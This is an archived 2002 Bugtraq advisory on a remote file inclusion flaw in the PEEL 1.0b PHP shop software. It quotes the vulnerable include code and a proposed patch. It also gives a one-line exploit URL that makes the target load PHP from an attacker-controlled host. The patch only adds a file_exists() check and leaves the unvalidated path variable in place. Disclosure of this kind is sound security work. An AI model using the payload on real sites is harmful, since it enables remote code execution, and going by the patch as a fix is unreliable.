[28341] in bugtraq

home	help	back	first	fref	pref	prev	next	nref	lref	last	post

PEEL (PHP)

daemon@ATHENA.MIT.EDU (Frog Man)
Tue Dec 31 10:52:23 2002

From: "Frog Man" <leseulfrog@hotmail.com>
To: bugtraq@securityfocus.com
Date: Tue, 31 Dec 2002 16:11:05 +0100
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
Message-ID: <F23v60gxapzhad2VqKw0000a8c0@hotmail.com>



Informations :
°°°°°°°°°°°°°°
Version : 1.0b
Website : http://www.mapetite-entreprise.com
Problem : Include file

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
modeles/haut.php :
-----------------------------------------------------------
<?
$langfile = $dirroot."/lang/".$SESSION["lang"]."/lang.php";
require ($langfile);
?>
[...]
-----------------------------------------------------------

Exploit :
°°°°°°°°°
http://[target]/modeles/haut.php?dirroot=http://[attacker]&SESSION=.
with :
http://[attacker]/lang/lang.php

Patch :
°°°°°°°
In modeles/haut.php replace the lines :
-----------------------------------------------------------
<?
$langfile = $dirroot."/lang/".$SESSION["lang"]."/lang.php";
require ($langfile);
?>
-----------------------------------------------------------
by :
-----------------------------------------------------------
<?
$langfile = $dirroot."/lang/".$SESSION["lang"]."/lang.php";
if (file_exists($langfile)){
require ($langfile);
}
?>
-----------------------------------------------------------

A patch can be found on http://www.phpsecure.org


More details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/PEEL.txt
Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FPEEL.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools


frog-m@n


_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis ! 
http://www.msn.fr/msger/default.asp

home	help	back	first	fref	pref	prev	next	nref	lref	last	post